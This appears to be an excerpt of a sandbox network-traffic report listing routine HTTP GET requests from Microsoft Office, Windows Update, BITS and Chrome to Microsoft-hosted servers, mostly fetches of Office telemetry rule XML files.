Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bCm59y551UyMzEE&MD=Fnc894VX HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bCm59y551UyMzEE&MD=Fnc894VX HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=195719-195719If-Range: 0x8DCEC757C1AD1D1
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
